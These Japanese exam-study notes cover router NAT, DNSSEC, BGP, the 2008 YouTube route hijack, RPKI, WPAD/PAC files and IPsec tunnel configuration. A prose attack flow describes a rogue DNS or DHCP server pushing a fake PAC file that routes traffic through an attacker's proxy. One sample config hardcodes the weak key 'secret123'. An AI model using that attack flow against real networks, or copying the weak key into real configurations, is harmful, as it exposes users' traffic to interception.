①インターフェースの内外(inside/outside)を指定
②内部から外部への変換対象を定義(アクセスリスト)
③NAT/PATを有効化するコマンドを設定
④確認・検証

#１．インターフェースの内外(inside/outside)を指定
Router(config)# interface GigabitEthernet0/0
Router(config-if)# ip address 192.168.1.1 255.255.255.0
Router(config-if)# ip nat inside
Router(config-if)# exit

Router(config)# interface GigabitEthernet0/1
Router(config-if)# ip address 203.0.113.1 255.255.255.0
Router(config-if)# ip nat outside
Router(config-if)# exit

#２．変換したい内部ネットワーク(送信元アドレス範囲)を指定
Router(config)# access-list 1 permit 192.168.1.0 0.0.0.255

#３．パターン１（プールを使わない場合）
Router(config)# ip nat inside source list 1 interface GigabitEthernet0/1 overload

#３．パターン２（プールを使う場合＝グローバルIPが複数ある場合）
Router(config)# ip nat pool MYPOOL 203.0.113.10 203.0.113.20 netmask 255.255.255.0
Router(config)# ip nat inside source list 1 pool MYPOOL overload

#４．確認
#現在の変換テーブルの確認
Router# show ip nat translations
#NATの統計情報(ヒット数、インターフェース設定など)を確認
Router# show ip nat statistics

Q.キャッシュDNSサーバのフローはどうなってる？

1. PC ➔ キャッシュDNSサーバ

• PCはDHCP等で知らされた「キャッシュDNSサーバのIP」宛てに名前解決要求（53番ポート宛て）を送信する。

2. キャッシュDNS ➔ ルートDNSサーバ（1段階目）

• キャッシュDNSはあらかじめ保持している「ルートヒント」からルートDNSのIPを選ぶ。
• パケット：送信元＝[キャッシュDNSのIP : ランダムなポートA] ➔ 宛先＝[ルートDNSのIP : 53]
• FW10のNAPT：送信元を「FW10のグローバルIP : ランダムなポートB」に動的NAPT変換して外へ送出。
• 応答：ルートDNSから「.jp を管理するTLDサーバのIPアドレス」が返ってくる。

3. キャッシュDNS ➔ TLD（.jp）DNSサーバ（2段階目）

• 同様に、ランダムな送信元ポートを使ってTLDサーバへ問い合わせる。
• 応答：TLDサーバから「co.jp を管理するDNSサーバのIPアドレス」が返ってくる。

4. キャッシュDNS ➔ 権威DNSサーバ（3段階目）

• 最終的に example.co.jp を管理する権威DNSサーバへ問い合わせる。
• 応答：権威DNSから www.example.co.jp の最終的なIPアドレス（例: 192.0.2.1）を取得する。

5. キャッシュDNS ➔ PC

• 取得したIPアドレスをPCに回答し、同時にその結果を一定時間（TTL）自身の中にキャッシュ（保存）。

Q.DNSSECとは？

DNSSECとはキャッシュポイズニングを防止する技術の一つ。では、フローを見ながら理解していこう！

ステップ1：レコード自体の検証（ZSKを使用）

• 対象：Aレコードなど
• 検証：権威DNSから取得したDNSKEYレコード内の ZSK(ZoneSigningKey)公開鍵 を使い、Aレコードに付いている RRSIG(Resource Record Signature) を検証する。
  ＊RRSIG（A)は権威DNSがAレコードから生成したハッシュ値をZSK秘密鍵で暗号化したもの。
  ＊検証するときは検証側がZSK公開鍵で署名を復号し、出てきたハッシュ値と検証側でも生成したハッシュ値が一致することを確認する。
• 結果：Aレコードが改ざんされていないことが判明。

ステップ2：ZSK公開鍵の検証（KSKを使用）

• 対象：ZSK公開鍵が含まれる「DNSKEYレコード」
• 検証：権威DNSから取得した KSK(KeySigningKey)の公開鍵 を使い、DNSKEYレコードに付いている RRSIG(DNSKEY) を検証する。
• 結果：ZSK公開鍵が本物であることが判明。

ステップ3：KSK公開鍵の検証（親ゾーンと連携）

• 対象：KSK公開鍵
• 検証：
  1. 親ゾーン（例：.jp）へ問い合わせて DSレコード(Delegation Signer)（＝子ゾーンのKSK公開鍵のハッシュ値）を取得する。
  2. 手元にあるKSK公開鍵を自分でハッシュ化し、親からもらったDSレコードと一致するか比較する。
• 結果：KSK公開鍵が親ゾーンによって保証された本物であることが判明。

p.5 プロキシサーバを動的に切り替える方法は？

案１を見ると、障害が起きるとプロキシCを使いたい旨の記載がある。では、具体的にどうやっているのか？

１．DNSを変更している
　DNSでFQDNに対するIPアドレスをBからCのアドレスに変更すれば、必然的にCのプロキシが使われることになる。
２．PACファイル
　PACファイルだと動的にクライアント側が宛先を変更できるため、以下のような設定をすればプロキシCが使われる。

#通常時はproxybで名前解決されるが障害が起きると、２つ目のproxycが利用される。
return "PROXY proxyb.a-sha.co.jp:8080; PROXY proxyc.a-sha.co.jp:8080";

p.7 Q.マルチホーム環境でも静的経路で対応できるのでは？

結論から言うと、「FW10でIP SLA＋スタティック制御を行う」というアイデアは、A社から出ていく通信（往路）だけを見れば動くように思えるが、実際のネットワーク構築（特に復路通信、プロバイダ連携、運用性）においては致命的な欠陥が4あり、採用できない。

・復路を制御できない
例えば、R11とR12間をFW10がIP slaで監視したとする。そして、経路に障害が起きたらサブルートであるR13とR14の経路を優先させる静的ルートを設定しておく。これだと、A社側からの通信はR13経由にできる。しかし、外部からはR11とR12間で障害が起きていることを知らないので、R12宛ての経路が届いてしまう。。
では、仮にR12でip slaを稼働させR11とR12を観察し、その結果をMP-BGPでD社閉域網に流すという方法であれば実現できなくもない。(トラッキングで当該ルートを削除。→RIBから情報が消える→BGPの参照先であるRIB当該経路が消えたことを検知→BGPでwithdrawを流す）

しかし、それは現実的じゃない。というか、そもそも、そのような動的に経路を変更したりできるものが動的なルーティングプロトコルである。なので、経路が複数ある場合は基本的に静的ではなく動的なルーティングプロトコルの制御を使うのがベターとなる。

Q.VRRPとは？

VRRP（VirtualRouterRedundancyProtocol）とはデフォルトルートを冗長化するためのプロトコル。複数のルータを１つのルータのように振舞わせることで、１台が故障してもほかのルータで通信を継続させることができる。

▼障害検知方法

マスターが１秒ごとにマルチキャスト224.0.0.18宛てにAdvertisementを送る。これがタイムアウト時間届かないと、バックアップは障害と検知して仮想IP/仮想MACを引き継ぎGARPを送信する。

▼FHRP（First Hop Redundancy Protocol）とOSPF

p.8 Q.専用線で接続するとは物理的にどうやっているの？

A社からD社まで直通の超長いケーブルを1本物理的に引っ張るわけではない。通信事業者（NTT等）がすでに地下や電柱に張り巡らせている既存の光ファイバー網（インフラ）を活用し、両端の拠点へケーブルを引き込んで接続している。

Q.物理的にどう繋がっているのか？

A社本社のR13からD社網のR14までは、以下の3つの区間で物理的につながっている

• １．A社側の引き込み（ラストワンマイル）
  ①電柱やビル地下のクロージャから通信事業者の光ファイバーの先端とA社側ケーブルの先端をつなぐ。
  ②A社側のもう一方の先端は端子盤につなぐ
  ③端子盤とONU（光回線終端装置）をつなぐ
  ④ONUが光信号を電気信号に変えてR13につなぐ
• ２．通信事業者のビル間ネットワーク（中継網）
  ①A社から引き込んだ光信号は、最寄りのNTT等の基地局（収容局）へ入る。
  ②ここから先は、地下に埋まっている既存の巨大な光ファイバー網を通じて、D社最寄りの基地局まで運ばれる
• ３．D社側の引き込み
  A社側と同様に、D社拠点（R14側）のビルにも光ファイバーが引き込まれ、D社側のONUに繋がる

p.8 Q.なぜBGPをすぐに確立しないの？また、それは技術的に可能なの？

A.「BGP設定を入れてもセッションを確立させない」ことは技術的に可能。また、一括して確立させない理由は設定途中の「中途半端な状態」での経路流入事故を防ぐため。
要は、手動で１行ずつ設定していくと、行と行の間で数秒間経過してしまい、その間にフィルタリングをする前に情報が流入・流出してしまうのでそれを防ごうねということ。

確立させない方法

BGPの設定コマンドの中に neighbor <IPアドレス> shutdown という命令を書いておく。 これを書いておくと、設定自体はルータに保存されるが、相手（ピア）へBGPの接続要求（OPENメッセージ）を送らなくなる。

#無効化させるとき
neighbor <IPアドレス> shutdown

#有効化させるとき
no neighbor <IPアドレス> shutdown

Q.即座にBGP起動するとどういう不具合があるの？

1. フィルタ未設定による「ルートリーク（経路の誤流出）」
BGPの設定手順は、コマンドの構造上「相手と繋ぐ設定（neighbor）」を投入した後に、「外に流す経路を絞り込む設定（prefix-listやroute-map）」を書き込む流れになる。
即時接続させてしまうと、絞り込み設定を打ち込むまでのわずか数十秒の間に、社内ネットワークの不要な経路が外部（D社網）へ一気に漏洩（リーク）する。流出した経路の量によっては、D社側のルータの防御機能（Prefix Limit）が作動し、回線を自動遮断される恐れがある

2. 接続の不整合による「ブラックホール（パケット吸い込み・破棄）」
たとえば、先に「R13 ⇔ R14（WAN側）」のBGPだけが繋がり、「R13 ⇔ R11（社内iBGP）」の設定がまだ完了していない時間が発生したとする。

• 行き：D社側（R14）は「R13経由でA社に行ける」と認識し、データ（パケット）をどんどん送り込んできます。
• 戻り：しかしR13側は、社内のR11との連携（iBGP）がまだできていないため、届いたパケットを社内へ流せず、そのまま捨ててしまう（通信断）。

3. 経路のバタつき（フラッピング）による既存通信の瞬断
4台のルータがバラバラのタイミングでBGPを繋ぎ始めると、各ルータは不完全な情報をもとに「どのルートが最適か」を何度も再計算する。その結果、現在正常に動いている「R11 ⇔ R12」の既存ルートまで経路が頻繁に切り替わり（フラッピング）、現在稼働中の業務通信に遅延やパケットロスなどの悪影響を与えてしまう。

事件の背景（何が起きたのか？）

1. YouTubeのブロック試み：パキスタン政府の命令で、国内プロバイダ（パキスタン・テレコム）が自国内でYouTubeを見られないよう、YouTubeのIPアドレス帯（/24）に対する「偽の経路（ブラックホール経路）」を内部で作った。
2. 誤広告（BGPハイジャック）：その偽の経路情報を、誤って上位プロバイダ（PCCW）へBGPで広告してしまった。
3. 世界中へ拡散：BGPは「より細かいPrefix（/24）の経路を優先する」というルールがあるため、世界中のインターネットトラフィックがYouTubeの本物サーバーではなくパキスタンへ集中し、YouTubeが世界中でダウンした。

登場する重要単語・技術

この「誤ったBGP広告を信用して広めてしまった」対策として登場するキーワードが以下の３つ。

• IRR（Internet Routing Registry）
  • 各AS（プロバイダ等）が「自分がどのIPアドレス帯を広報する権利を持っているか」を登録しておくデータベース。
  • 限界：誰でも登録できるなど認証が甘く、偽装を完全には防げなかった。
• RPKI（Resource Public Key Infrastructure）
  • IRRの弱点を補うために作られた「暗号技術（電子署名）を使ったBGP経路の認証基盤」。
  • APNICやJPNICなどの地域インターネットレジストリ（RIR）が発行する証明書を使って、IPアドレスの所有権を証明します。
• ROA（Route Origin Authorization）
  • RPKIの仕組みの中で作成される「経路証明書」データのこと。
  • 「このIPアドレス帯（例：208.65.152.0/22）を広告して良いのは、ASXXXX（YouTube）だけである」という正しいペアを電子署名付きで定義します。

なぜRPKI/ROAがあれば防げたのか？

上位プロバイダ（PCCW等）が RPKI Validation（ROV: Route Origin Validation） を導入していれば：

1. パキスタンから「YouTubeのIPアドレス」のBGP広告が届く。
2. RPKIデータベースと照合し、「このIPを広告して良いのはYouTubeのASだけで、パキスタンのASは許可されていない（Invalid）」と即座に判別できる。
3. 誤ったBGP広告をその場で破棄（Drop）できたため、世界中へ被害が広がるのを防げた。

さらに深いVersion………………………………

Q.そもそも、どうやって偽の経路を作るの？

A.「通常のスタティックルートとBGPの再配送（アナウンス）」の設定によって偽の経路を作っていた。

▼パキスタンが実際に行った「偽の経路」の作り方
パキスタン・テレコムは、RTBHやFlowspecなどのセキュリティ技術を使ったわけではなく、ルーターの「通常のスタティックルートとBGPの再配送（アナウンス）」の設定ミスをやらかした。

１．国内向けの破棄設定（Null 0行き）をルーターに入れる
・パキスタン政府から「YouTubeをブロックしろ」と言われたエンジニアは、国内のユーザーがYouTubeに行けないようにするため、パキスタン・テレコムの国境ルーターに次のような設定を入れた。
・「208.65.152.0/24（YouTubeのIP）宛てのパケットが来たら、すべて Null 0（ゴミ箱・破棄）に送れ
・（※これにより、パキスタン国内のルーターにとっては、YouTube宛ての通信は自社内で消滅する「ブラックホール」になった）

👆これはIGP（OSPFやIS-ISなど）によって、Null経路が配られていた。末端のルータがYoutube宛てを受信すると、Null経路を持っている当該ルータへ運んでいた。すべてのルータにYoutube宛ては自身のルータ内でNullで破棄して！というわけではない。

２．その「破棄用の経路」を、あろうことか外（BGP）に広告してしまった
・本来、この Null 0 行きのルートはルーターの内部だけで使うもの（外部に教えてはいけないもの）。
・しかし、設定ミスかテストの意図で、パキスタン・テレコムはこの「YouTubeの経路はうち（AS17557）にあるよ！」という情報を、通常のBGPの経路情報（NLRI）としてそのまま上位プロバイダ（PCCW）に流して（アナウンスして）しまった。

👆再配布のミス！IGPで広告していたNull経路をAS外にもフィルタリングを怠ったせいで広告してしまった。それによって、インターネットに広がってしまった。

３．世界中がそれを「本物の道」と勘違いした
・上位プロバイダから見れば、送られてきたBGP情報は「普通のYouTubeへの経路」に見える。
・そのため、「YouTubeの細かいプレフィックス（/24）の道がパキスタンから来たちょっと近道だ！」と世界中のルーターが勘違いし、世界中のYouTube宛て通信がパキスタンテレコムへ向かって吸い寄せられてしまった。

👆当時、Youtubeは/22で運用されていた。これは正規のプロバイダから取得した正規のアドレス範囲。一方、パキスタンテレコムの/24はNull用のダミーの広告だが、当時は広告の正当性を確認するプロセスがおざなりであったため、論ゲストマッチの原則に基づき、より長いプレフィックスをもつパキスタンのダミー経路が優先されてしまった。

Q.どうやって復旧させたの？

A.この2008年の事件の最もドラマチックなところは、「パニックになったパキスタン側がすぐにミスに気づいて自主的に直してくれなかった」という点にある。そのため、被害が拡大する中でYouTube自身が驚きの「カウンター攻撃」に出て事態を収束させた。

▼実際の復旧・解決までのプロセス
パキスタン・テレコム側はパニックや連絡の不備もあり、すぐに誤った広告を引っ込められなかった。そこで、被害を直接受けていたYouTube（Google）側が次のようなウルトラCの対抗措置を取った。

１．YouTube側が「さらに細かいプレフィックス（/25）」で対抗広告を出した
・パキスタンが流していたのは /24 。
・これに対抗するため、YouTubeはさらに細かく分割した /25（/24 の半分のサイズ） の正当な経路情報を世界に向けて急遽広告した。

２．ロンゲストマッチによる奪還
・BGPの「より長いプレフィックスを優先する」という鉄則を利用し、パキスタンの /24 よりもさらに細かい YouTube自身の /25 の方を世界中のルーターに最優先させた。
・これにより、世界中のトラフィックが強烈に本物のYouTubeへと引き戻された。

３．上位ISPによる強制遮断
・その後、香港の上位プロバイダ（PCCW）が事態を重く見て、パキスタン・テレコムからの不正な広告を強制的に削除（Withdraw）したことで、約2時間越しに完全に幕を閉じた。

Q.プレフィックスを大きくするとどうなるの？

プレフィックスを大きくするとどうなるのか。。。大きくして対応できるなら、なぜ最初から/25で広告しなかったのか？
A.プレフィックスを大きくすると、広告するエントリー数が増大する。そのため可能な限りプレフィックスは小さめにして広告したいが、そうするとパキスタン側に負けてしまうので、ウルトラCとしてプレフィックスを大きくした

▼具体例

例えば、10.0.0.0/8という１つの広告を10.0.0.0/9にする場合は何個のプレフィックスになるのか？

10.0.0.0/8 →①10.0.0.0 ~ 10.255.255.255
00001010.00000000.00000000.00000000 ~ 00001010.11111111.11111111.11111111


10.0.0.0/9 →①10.0.0.0 ~ 10.127.255.255 / ②10.128.0.0 ~ 10.255.255.255
00001010.00000000.00000000.00000000 ~ 00001010.01111111.11111111.11111111
00001010.10000000.00000000.00000000 ~ 00001010.11111111.11111111.11111111


10.0.0.0/10 →①10.0.0.0 ~ 10.63.255.255 / ②10.64.0.0 ~ 10.127.255.255 / ③10.128.0.0 ~ 10.191.255.255 / ④10.192.0.0 ~ 10.255.255.255
00001010.00000000.00000000.00000000 ~ 00001010.00111111.11111111.11111111
00001010.00000000.00000000.00000000 ~ 00001010.01111111.11111111.11111111
00001010.10000000.00000000.00000000 ~ 00001010.10111111.11111111.11111111
00001010.11000000.00000000.00000000 ~ 00001010.11111111.11111111.11111111

以上のように、プレフィックスが小さくなるほど、集約できるアドレス数も減ってしまう。その結果より多くのエントリーを登録することになる。

▼プレフィックスが増大した時のエントリ数が何個になるかの計算方法

増えた分のエントリ数＝２^{（変更後のプレフィックス長-変更前のプレフックス長）}

例１：/8 から /10 にした場合
2^(10-8)=4

例２：22/ から /25 にした場合
2(25-22)=8

Q.RPKI（ResourcePublicKeyInfrastracture）とは？

RPKIを一言で言うと「このIPアドレスは、本当にこのプロバイダ（AS）が名乗っていいものか？」を暗号学的なデジタル証明書で証明・検証する仕組み。従来のBGPには「身分証の確認プロセス」がなかったため、誰でも「うちはYouTubeの経路を持っているぞ！」と嘘（あるいは間違い）を言えてしまう。そこに「身分証（証明書）」を導入するのがRPKI。

▼RPKIの全体フロー（証明書はどうなっていて、動検証するのか？）

1. 事前準備：ROA（証明書）の登録と保管
・誰が作るの？：IPアドレスの正当な持ち主（例：YouTube）が、地域インターネットレジストリ（APNICなど）を通じて「我が社はこのAS番号でこのプレフィックスを広告してよい」という証明書（ROA：RouteOriginAuthorization）を発行してもらう。
・どこに保管されるの？：このROA（証明書データ）は、インターネット上にある「RPKIリポジトリ（公開サーバー）」という専用のデータベースに、常に誰でもダウンロードできる状態で保管されます。

2. ルーター側の準備：キャッシュサーバーとの連携（ここがポイント！）
・個々のルーターが直接インターネット上のリポジトリから1つずつ証明書を都度ダウンロード・検証しているわけではない！
・キャッシュサーバー（RPKI Validatorなど）と呼ばれる専用のサーバーが、インターネット上のRPKIリポジトリからすべての正当なROA（証明書の一覧）をあらかじめ一括でダウンロードし、手元にキャッシュ（保存）しておく。
・ルーターは、そのキャッシュサーバーから定期的に「正当な証明書のリスト」を受け取って手元に持っておく

#キャッシュサーバとの接続設定社内に置いたキャッシュサーバー（例: 10.0.0.50）とポート323（または3323など）で接続する
router bgp 65001
  bgp rpki server tcp 10.0.0.50 port 3323 refresh 300
  
#ルーターがちゃんとキャッシュサーバーから証明書を受け取れているか確認
Router# show ip bgp rpki servers

＊キャッシュサーバは基本的に社内に配置する。で、ルータはそのキャッシュからROIを検索する
＊キャッシュサーバーが世界中から複雑な証明書（ROA）を集めて複雑な暗号検証をすべて肩代わりし、「このIPとこのASの組み合わせは Valid（有効）」というシンプルな判定用リスト（軽量化されたデータ）だけを、定期的にルーターに配給（同期）している

3. 実際のBGP受信と検証のフロー
ここで、隣のルーター（ネイバー）からBGPの経路情報が流れてくる。
①BGP経路の受信
　・ネイバーから「このIPアドレス（/24など）を、このAS番号が持っているよ」という通常のBGP経路情報が届く。（※ここには証明書はくっついていない！ただの経路の文字情報）
②手元のリスト（キャッシュ）と突合する
　・ルーターは、受け取った経路情報の 「IPプレフィックス」 と 「広告してきたAS番号」 を取り出す。
　・そして、あらかじめ手元に持っているROA（証明書のリスト）と照らし合わせる。
③暗号学的な検証（バリデーション）
　・「手元の証明書リストの中に、このAS番号がこのIPを広告してよいというデータ（電子署名付き）は存在するか？」をチェックする。
　・署名の正当性（改ざんされていないかなど）は、証明書を発行した上位機関の公開鍵を使って数学的に検証される。
　＊なお、署名の正当性は事前にキャッシュサーバが肩代わりしてくれているので、ルータはリストへの有無を見ればいいだけ。
④判定（Valid / NotFound / Invalid）
　・一致する正当な証明書があれば Valid（有効）。
　・リストになければ NotFound。
　・範囲やAS番号に矛盾があれば Invalid（無効：偽物・ミス） として、自動的にその場で破棄する。

Q.ROA(RouteOriginAuthorization)の取得～検証のフローは？

ROAの取得では、WebのSSL/TLS証明書（Let’s Encryptなど）でよくある「その場しのぎのファイルを置く」のではなく、「インターネットの公的な階層構造（レジストリ）そのものを使って正当性を証明する」という仕組みになっている。
▼取得～検証フロー
1. ROA（証明書）の取得・発行フロー
Webの証明書発行（CSRを生成して…という手順）とは異なり、ROAは「IPアドレスの割り当てを受けている公的な組織のポータルサイト」で直接作成・発行する。

1. IPアドレスの正規の割り当てを受けていることの証明
   • 大前提として、そのIPアドレスブロックは、APNIC（アジア太平洋地域）やJPNICなどの上位レジストリから、正規にお金を払って割り当てを受けている自社のリソースである必要がある。
2. 証明書発行機関（LIR / NIR）のポータルへログイン
   • 自社が管理するIPアドレスを管理しているレジストリ（日本であればJPNIC経由、または上位のLIR/ISP）の専用管理ポータルにログインする。
     ＊管理ポータルにログインしたユーザとIPアドレスはバックエンドで対応づけられているので、このポータル内で偽のIPのROAを要求することはできない。
3. ROAの発行申請（パラメータの入力）
   • ポータル画面で、以下の情報を指定して「この内容で証明書を作ってくれ」と申請。
     • 対象のIPプレフィックス（例: 208.65.152.0/22）
     • 許可する最大プレフィックス長（例: /24 までなら分割して広告してもいいよ、という上限）
     • 広告を許可するAS番号（例: AS15169）
4. RPKIリポジトリへの自動登録
   • 申請ボタンを押すと、レジストリ側のシステムが電子署名（デジタル証明書＝ROA）を自動生成し、インターネット上に公開されている公式の RPKIリポジトリ（公開サーバー群） に自動で登録されます。
   • （※ここで「私たちがこのIPをこのASに広告させていいという証明書」が世の中に誕生する）

2. ルーター（キャッシュサーバー）側での検証フロー
世の中に公開されたROA（証明書）を、キャッシュサーバーがどうやって拾って検証するのか、おさらいも含めて全体の流れ。

1. キャッシュサーバーが証明書を回収
   • 社内のキャッシュサーバー（Validator）が、インターネット上の公的RPKIリポジトリから、世界中の正当なROAファイルを定期的に一括ダウンロード。
2. 暗号学的な検証（ここで公開鍵が使われる）
   • 「公開鍵による検証」はまさにここで行われる。
   • キャッシュサーバーは、ダウンロードしたROAに付いている「電子署名」を、上位のレジストリが持つ「公開鍵」を使って数学的に検証する。「途中で改ざんされていないか」「有効期限内か」「本当に正当な機関が発行した証明書か」をここで厳しくチェックする。
3. 安全なリスト（VRP）の作成
   • 検証に合格した「安全な証明書データ」だけを綺麗に整理し、合格リスト（VRP：Valid ROA Payload）としてキャッシュサーバー内に保持する。
4. ルーターでの突合判定
   • ルーターはキャッシュサーバーからその合格リストを受け取っておき、ネイバーから新しいBGP経路（IPとAS番号）が届くたびにリストと突合し、「Valid（合格）」か「Invalid（不合格・偽物）」かを一瞬で判断する。

（１）ア：ハブアンドスポーク

これは知識問題なので覚えておこう！

（５）インタフェースにIPアドレス割り当てを行わない設定

IP Unnumberedは、文字通り「番号（IPアドレス）を割り当てない（Unnumbered）」技術のこと。通常、ルーターのポートや仮想インターフェース（Tunnel0 など）には、個別にIPアドレスを設定して通信を行う。しかし、1対1で直結されているトンネル接続などの場合、「わざわざトンネル専用のIPアドレスを消費するのはもったいない」という問題が生じる。そこで、既存のインターフェース（LAN側やWAN側など）のIPアドレスを流用することで、トンネルインターフェース自体には個別のIPアドレスを割り当てずに通信を可能にする設定が IP Unnumbered です。

Q.ルーティング設定はどうなるの？

A.インタフェースを指定する。トンネルを通るルーティングをトンネルIPアドレスを指定するのではなく、トンネルインタフェースを指定する。そうすることによって、IPに依存したルーティングから脱却できる。

#旧来（トンネルIPアドレスで指定）
ip route 相手WAN側IP 255.255.255.0 トンネルIP

#現在(トンネルインタフェースで指定）
ip route 相手WAN側IP 255.255.255.0 Tunnel 0

interface Tunnel0
 ip unnumbered GigabitEthernet0/0  ! LAN側などのIPを流用し、Tunnel自体にはIPを割り当てない
 tunnel source GigabitEthernet0/0
 tunnel destination 200.2.2.2
 tunnel mode ipip

Q.IP UnnumberedとNumberedの違いは？

Q.Unnumberedだと障害切り分けが難しくなるというけどなぜ？

A.pingに応答する機器に制限があると絞り込みができないから。
正直、内部LANに配置されているPCやサーバすべてが常にpingを返す設定であれば、トンネルにIPを割り当てなくても、「拠点A内部LAN機器→拠点B内部LAN機器」の区間をpingすればトンネル障害であるか否かは判断できる。
しかし、pingを返す機器がサーバ１台だけの場合、もし「拠点A内部LAN機器→拠点B内部LANサーバ」をやって、通信失敗が起きてもそれがサーバ側の問題なのか、トンネルの問題なのか、拠点B内部LANルーティングの問題なのか切り分けられなくなる。
しかし、Numbered設定でトンネルIPも設定していれば「拠点AルータトンネルIP→拠点BルータトンネルIP」とピンポンとでトンネルを指定して、疎通を確認することができる。これによって、トンネル障害が否かを一発で判断できるようになる。
▼具体的な切り分け手順

（6）転送負荷の増大

UTMでIPフラグメント化を強いられるということは、「①パケットの分割②そのパケットに１つずつIPsec処理」といったように処理負荷が増大することが分かる。
もし、MSSクランピングなどを導入していたら「パケットにIPsec処理」のみで完結できるため処理負荷を抑えられる。

設問２

（５）　UTMプロキシサーバのFQDNがことなるから

図４のPACファイルを見ると、proxy.osaka.a-sha.jp:8080と大阪支社特有のFQDNが指定されていることが分かる。そのため、ほかの支社でも正常に動作させるにはこの部分を各支社のFQDNに直す必要がある。つまり、UTMプロキシサーバのFQDNが支社ごとに異なるためPACファイルも支社ごとに作る必要があるということ。

設問３

（１）　イ：DHCP　ウ：DNS　エ：HTTP　オ：URL

イ：DHCP　ウ：DNS
WPADにはDHCPとDNS方式がある。（詳しくはこちら）

エ：HTTP
　WPADではPACファイルの格納場所をDHCPやDNSを使って判明させる。そのサーバにはHTTPを使ってアクセスするのが基本なので、ここにはHTTPが入る。
また、HTTPサーバよりもWebサーバの方が聞き覚えがあるが、Webはプロトコルではないので空欄エにはHTTPが入る。

オ：URL

WPADを無効にした場合にはどのようにPACファイルを取得するかが問われている。まずは、WPADのデメリットを見ていこう！

Q.WPADのデメリットは？

A.WPADのメリットでもある動的な配布は一歩間違えるとデメリットにもなる。「動的」とういことは管理者が関与しない部分が生まれるということ。そのため、そこの隙をついた攻撃が生まれてしまう。
なので、今回の場合は、そのような隙を作るよりもあらかじめスタティックにURLを指定しておこうよねということである。

Q.URLではなくFQDNを指定するのはだめなの？

FQDNをスタティックに指定しても一見動作しそうだが、実際は動作しない。まず、WPADのDNS方式では、WPADのプログラムが「ドメインに.wpad.datをつけて名前解決」したり「URLを動的に生成してhttp://[取得したIP]/wpad.datにアクセス」したりとプログラムがURLを作ってくれた。
一方WPADを使わないとプログラムは動作しないので、FQDNだけ指定しても、名前解決もしなければ、そこからURLを作りだすということもできない。
なので、FQDNではなくURLを最初からハードコーディングしている。

（２）　不正なプロキシサーバに中継される

この問題は、悪意のあるDNSサーバやDHCPサーバがあるとどのような問題があるかを聞かれている。結論から言うと、偽のプロキシサーバに中継してしまい、内部情報の漏洩や通信障害を引き起こしてしまうことが発生する。では、以下で攻撃のフローを見ていこう！

▼攻撃フロー

1. 攻撃の起点（偽DNS / 偽DHCP）
   • ネットワーク内に「悪意のあるDNSサーバー」や「悪意のあるDHCPサーバー」が存在すると、PCに対して偽のPACファイル置き場（URL）を掴ませることができる。
2. 偽PACファイルの取得
   • PCは自動検出によって、攻撃者が用意した偽のPACファイルをダウンロードする。
3. 攻撃者のプロキシへ誘導（Man-in-the-Middle / MITM攻撃）
   • 偽PACファイルには「すべての通信は proxy.attacker.example:8080（攻撃者のプロキシ）を通せ」と書かれている。
4. 被害（情報漏えい・盗聴・通信遮断）
   • PCの通信がすべて「不正なプロキシサーバーに中継される」状態になり、通信内容の盗聴・改ざん（中間者攻撃：Man-in-the-Middle）や、重要情報の漏えい、あるいは通信妨害といった重大なセキュリティ被害が発生する。

さらに深いVersion………………………………

p.16 UTMってなに？ｰｰｰｰｰｰｰｰｰｰｰｰｰｰ

UTMはUnified Threat Management（統合脅威管理）の略。イメージとしては「セキュリティ機能満載の多機能オールインワンルーター（または多機能ファイアウォール）という感じ。昔は別々の専用機器（FW装置、IPS装置、VPNルーター、Webプロキシなど）で構築されていた機能を１台にまとめたものがUTM。

▼UTMの機能
・ファイアウォール（アクセス制限）
・NAT / NAPT（IPアドレス・ポート変換機能。ルーターとしての役割）
・IPS/IDS（不正侵入検知・防御）
・アンチウイルス / アンチスパム（通信内のウイルスチェック）
・Webフィルタリング（危険なサイトや業務無関係なサイトへのアクセスブロック）
・VPNゲートウェイ（拠点間を暗号化してつなぐ機能。今回の問題でも使われる）
・Webプロキシ（プロキシサーバとして動作可能）

p.17 プロキシサーバのログ取得———-

▼プロキシサーバが記録する情報

• アクセス日時（時刻）
• 送信元IPアドレス（アクセスしてきたPCのIP）
• 宛先情報（アクセス先のURLやFQDN、ポート番号など）

これだけで、よさそうだがプロキシサーバのログだけでは不十分なのでDHCPのログも取得しておく必要がある。なぜなら、IPアドレスは変動するものなので、その時間に誰がそのIPアドレスを使っていたかを特定する必要がある。

▼DHCPサーバが記録する情報

• DHCPサーバ側で「どのMACアドレス（端末）に、いつからいつまで、どのIPアドレスを割り当てたか」のログを保持。
• プロキシログの「日時＋IPアドレス」と照合することで、後から「どの端末（誰）がアクセスしたか」を正確に特定する。

p.17 IP in IPってなに？

IP in IPとは、通常のIPパケットに、新たなIPヘッダでカプセル化することにより、元のIPパケットをペイロードとして扱える技術。

Q.何がメリット？

A.内部情報を変更せずに相手の内部LAN内の機器にアクセスできるようになる。

Q.IP in IPではなく、NAT/NAPTを使ったら？

A.送信側がNAT/NAPTを使うと、送信元IPアドレスが外部IPに変わってしまう。NATすると、送信元IPがすべて「ルーターのIP」に上書きされる。受信側のサーバーは「社内のどの端末（誰）がアクセスしてきたのか」をログやアクセス制御（「営業部だけ許可」など）で判別・制御できなくなる。逆に、受信側がNAT/NAPTをすると、内部LAN内のサーバに対応した外部IPを公開することになるので、外部から簡単にアクセスできるようになってしまう。

Q.IP in IPとGREの違いは？

IP-IP over IPsecとは？

IP-IP over IPsecとは、IP-in-IPでパケットをカプセル化（トンネル化）し、それをIPsecで暗号化して安全に通信する拠点間VPN技術のこと。

#! 1. Phase 1 設定 (ISAKMP / IKEv1 ポリシー & 事前共有鍵)
crypto isakmp policy 1
 encryption aes 256
 hash sha256
 authentication pre-share
 group 14
 lifetime 86400
exit

#対向ルーターのWAN IPと事前共有鍵（パスワード）を設定
crypto isakmp key secret123 address 200.2.2.2


#! 2. Phase 2 設定 (Transform Set & モード指定)
crypto ipsec transform-set MY_TS esp-aes 256 esp-sha256-hmac
 mode transport
exit


#! 3. IPsec プロファイルの作成 (ここが疑問だった箇所です)
crypto ipsec profile MY_PROFILE
 set transform-set MY_TS
exit


#! 4. トンネルインターフェース作成 & IPsec適用
interface Tunnel0
 ip address 172.16.0.1 255.255.255.252
 tunnel source GigabitEthernet0/0
 tunnel destination 200.2.2.2
 tunnel mode ipip   ! ※GREの場合は「tunnel mode gre ip」（デフォルト）
 
 #! 作成した IPsec プロファイルをトンネルに適用
 tunnel protection ipsec profile MY_PROFILE
exit

Q. IPフラグメントって何？——-

IPフラグメントとは、パケットのサイズ（IPヘッダーを含む全体の長さ）が、通過する経路の物理ポートの限界値（MTU：Maximum Transmission Unit）を超えたときに、途中のルーターがパケットを小さく分割して送出する処理のこと。

Q.IPフラグメントのデメリットは？

A.大きく以下👇の３つがある。
